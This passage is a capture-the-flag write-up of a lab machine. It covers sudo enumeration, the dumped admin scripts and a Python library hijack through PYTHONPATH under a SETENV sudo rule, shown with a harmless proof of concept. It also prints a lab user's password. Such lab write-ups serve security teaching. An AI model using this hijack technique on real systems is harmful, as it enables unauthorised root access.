waldo


Checking for sudo privileges of the waldo user after performing basic enumeration

waldo@admirer:~$ sudo -l
[sudo] password for waldo: &<h5b~yK3F#{PaPB&dA}{H>
matching defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    listpw=always
 
user waldo may run the following commands on admirer:
    (all) setenv: /opt/scripts/admin_tasks.sh

The waldo user has a sudo privilege to execute /opt/scripts/admin_tasks.sh with the SETENV tag as any user This means that the waldo user is able to preserve the user’s environment variable when executing the sudo-privileged command above

The SETENV tag means that the sudo command allows the user waldo to preserve their environment variables when executing the specified command (/opt/scripts/admin_tasks.sh). This includes passing the current user’s environment variables to the command with elevated privileges.

waldo@admirer:/opt/scripts$ sudo -u root /opt/scripts/admin_tasks.sh
 
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit

Executing the sudo-privileged command prompts me multiple options to choose from. While this seems rather familiar, I can check the crontab of the root user since this is being execute as the root user

Cron


Choose an option: 3
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
*/3 * * * * rm -r /tmp/*.* >/dev/null 2>&1
*/3 * * * * rm /home/waldo/*.p* >/dev/null 2>&1

This must be the root cronjob found during the system enumeration. This was also suspected from the waldo user’s mail and checked by PSPY at a later stage

Parent Directory


waldo@admirer:/opt$ ll
total 12K
4.0k drwxr-xr-x 22 root root   4.0k aug 24 16:09 ..
4.0K drwxr-xr-x  2 root admins 4.0K Dec  2  2019 scripts
4.0K drwxr-xr-x  3 root root   4.0K Nov 30  2019 .
waldo@admirer:/opt$ cd scripts ; ll
total 16K
4.0K drwxr-xr-x 2 root admins 4.0K Dec  2  2019 .
4.0K -rwxr----- 1 root admins  198 Dec  2  2019 backup.py
4.0K -rwxr-xr-x 1 root admins 2.6K Dec  2  2019 admin_tasks.sh
4.0K drwxr-xr-x 3 root root   4.0K Nov 30  2019 ..

Looking further into the /opt/scripts directory, there is another script; backup.py

/opt/scripts/admin_tasks.sh


waldo@admirer:/opt/scripts$ cat admin_tasks.sh 
#!/bin/bash
 
view_uptime()
{
    /usr/bin/uptime -p
}
 
view_users()
{
    /usr/bin/w
}
 
view_crontab()
{
    /usr/bin/crontab -l
}
 
backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
 
backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
 
backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
 
backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
 
 
 
# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;
 
        *) echo "Unknown option." >&2
    esac
 
    exit 0
fi
 
 
# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")
 
echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;
 
        *) echo "Unknown option." >&2
    esac
done
 
exit 0

The admin_task.sh script looked rather familiar because it is the backend for the /utility-scripts/admin_task.php file found in the target web server earlier. Initially, only the options 1-3 were available due to the privilege-related issues from the frontend side. I can now access those options 4,5,6,7 with the sudo privileges of the waldo user

While it seems to support various administrative tasks, none of them seem to come off as vulnerable from a perspective of adversary due to an input sanitization in place as well as the use of absolute paths

Except, the option 6, that invokes the backup_web function, which calls an external script; /opt/scripts/backup.py

/opt/scripts/backup.py


waldo@admirer:/opt/scripts$ cat backup.py 
#!/usr/bin/python3
 
from shutil import make_archive
 
src = '/var/www/html/'
 
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
 
dst = '/var/backups/html'
 
make_archive(dst, 'gztar', src)

this custom python script uses make_archive function from the shutil library to perform a simple archiving operation for the web directory at /var/www/html I can also see the old destination directory in the commented section. This explains how I was able to get hands on the html.tar.gz file earlier.

Nevertheless, there is a critical security issue here. because this script is called via the sudo-privileged command with the setenv tag, i can pass down environment variables, including $pythonpath It basically means that I can set the directory where Python libraries are loaded from.

Testing


waldo@admirer:/opt/scripts$ echo -e 'def make_archive(x,y,z):\n  print("Library Hijacked!")' > /var/tmp/shutil.py
 
waldo@admirer:/opt/scripts$ sudo PYTHONPATH=/var/tmp -u root /opt/scripts/admin_tasks.sh 6
Running backup script in the background, it might take a while...
Library Hijacked!

Moving on to Privilege Escalation phase